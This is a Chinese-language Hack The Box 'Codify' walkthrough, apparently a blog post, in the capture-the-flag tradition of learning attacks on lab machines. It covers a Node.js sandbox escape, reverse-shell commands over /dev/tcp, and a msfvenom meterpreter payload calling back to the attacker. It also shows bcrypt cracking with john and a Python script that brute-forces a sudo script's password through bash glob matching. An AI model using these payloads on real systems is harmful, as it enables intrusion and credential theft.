第一步,和上次一样,改hosts文件,域名对应ip。
信息收集
nmap扫一下:
└─$ nmap -sV 10.10.11.239 Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-17 15:58 HKT Nmap scan report for codify.htb (10.10.11.239) Host is up (0.31s latency). Not shown: 983 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 100/tcp filtered newacct 119/tcp filtered nntp 1021/tcp filtered exp1 1045/tcp filtered fpitp 1455/tcp filtered esl-lm 2522/tcp filtered windb 2967/tcp filtered symantec-av 3000/tcp open http Node.js Express framework 3030/tcp filtered arepa-cas 5631/tcp filtered pcanywheredata 5904/tcp filtered ag-swim 9944/tcp filtered unknown 14000/tcp filtered scotty-ft 15000/tcp filtered hydap 56738/tcp filtered unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 47.80 seconds
可以看到80和3000端口都开了,都访问一下结果发现打开的页面都是一样的,网页提供了在线node.js代码沙箱运行服务。
漏洞利用
node.js说实话确实不熟,所以去搜了一下node.js相关的漏洞,看到有一个今年的沙箱逃逸漏洞。(https://blog.csdn.net/CQ17743254852/article/details/132049918; https://www.uptycs.com/blog/exploitable-vm2-vulnerabilities)
直接把代码贴上去,发现可以直接获取shell。
const vm = require('vm'); const script = ` const process = this.toString.constructor('return process')() process.mainModule.require('child_process').execSync('whoami').toString() `; const sandbox = { m: 1, n: 2 }; const context = new vm.createContext(sandbox); const res = vm.runInContext(script, context); console.log(res)
那么下一步的思路是弹shell,方便操作,但是试了很多次,命令都会执行错误,最后是通过执行shell.sh文件,内容为
/bin/bash -i >& /dev/tcp/x.x.x.x/xxxx 0>&1
执行命令 bash -i shell.sh,或者使用bash -c
bash -c "bash -i 0>&1 /dev/tcp/x.x.x.x/xxxx 0>&1"
这里我的解决方法是通过msfvenom生成恶意脚本,执行命令让靶机下载后运行,本地利用 exploits/multi/handler进行监听。其他平台的脚本生成可以参考(https://blog.csdn.net/m0_64444909/article/details/126841128)
──(kali㉿kali)-[~]
└─$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=1234 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
┌──(kali㉿kali)-[~]
└─$ cat shell.elf
ELF>x@@@8@@�|1�j X��H��M1�j"AZjZH��xQj
AYPj)X�j_j^H��x;H�H��
QH��jZj*XYH��y%I��t▒Wj#XjjH��H1�YY_H��y�j<Xj_^j~ZH��x���
敏感文件获取用户密码
在/var/www/contact目录下发现一个db数据库文件,
用sqlite打开一下,看到密码,尝试用john破解一下,这里也可以用hashcat
┌──(kali㉿kali)-[~] └─$ sqlite3 tickets.db SQLite version 3.40.1 2022-12-28 14:03:47 Enter ".help" for usage hints. sqlite> .databases main: /home/kali/tickets.db r/o sqlite> .tables tickets users sqlite> select * from users; 3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2 sqlite> .quit ┌──(kali㉿kali)-[~] └─$ echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > 1.txt ┌──(kali㉿kali)-[~] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 4096 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status xxxxxxxxxxxxxx (?) 1g 0:00:00:39 DONE (2023-11-17 21:20) 0.02523g/s 34.51p/s 34.51c/s 34.51C/s crazy1..angel123 Use the "--show" option to display all of the cracked passwords reliably Session completed.
得到joshua的密码,尝试ssh连接,得到user.txt
提权
下一步尝试进行提权,运行一下sudo命令,发现有一个文件可以运行
文件内容如下:
#!/bin/bash DB_USER="root" DB_PASS=$(/usr/bin/cat /root/.creds) BACKUP_DIR="/var/backups/mysql" read -s -p "Enter MySQL password for $DB_USER: " USER_PASS /usr/bin/echo if [[ $DB_PASS == $USER_PASS ]]; then /usr/bin/echo "Password confirmed!" else /usr/bin/echo "Password confirmation failed!" exit 1 fi /usr/bin/mkdir -p "$BACKUP_DIR" databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)") for db in $databases; do /usr/bin/echo "Backing up database: $db" /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz" done /usr/bin/echo "All databases backed up successfully!" /usr/bin/echo "Changing the permissions" /usr/bin/chown root:sys-adm "$BACKUP_DIR" /usr/bin/chmod 774 -R "$BACKUP_DIR" /usr/bin/echo 'Done!'
这里就涉及到bash文件的安全规范问题了(https://github.com/anordal/shellharden/blob/master/how_to_do_things_safely_in_bash.md),bash是允许通配符‘ * ’的存在的,这里的弱比较‘ == ’可以由此绕过
(这里的安全问题很大,弱比较不说,还是直接比较密码,比较哈希值我都能好理解一点)
1*==1abc34sd //true asd*== asdfaskdfl //true
那么我们可以很容易的写一个python脚本来爆破出这个密码
import subprocess import string def run_command(command): output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout.decode() return output dic=string.ascii_letters+string.digits password="" for i in range(100): for i in dic: output= run_command(f'echo "{password}{i}*" | sudo /opt/scripts/mysql-backup.sh') if "Password confirmed" in output: password+=i print(password) break
得到密码后root.txt就在/root下。
标签:bin,HTB,kali,Codify,tcp,usr,filtered,bash From: https://www.cnblogs.com/kw13t/p/17839752.html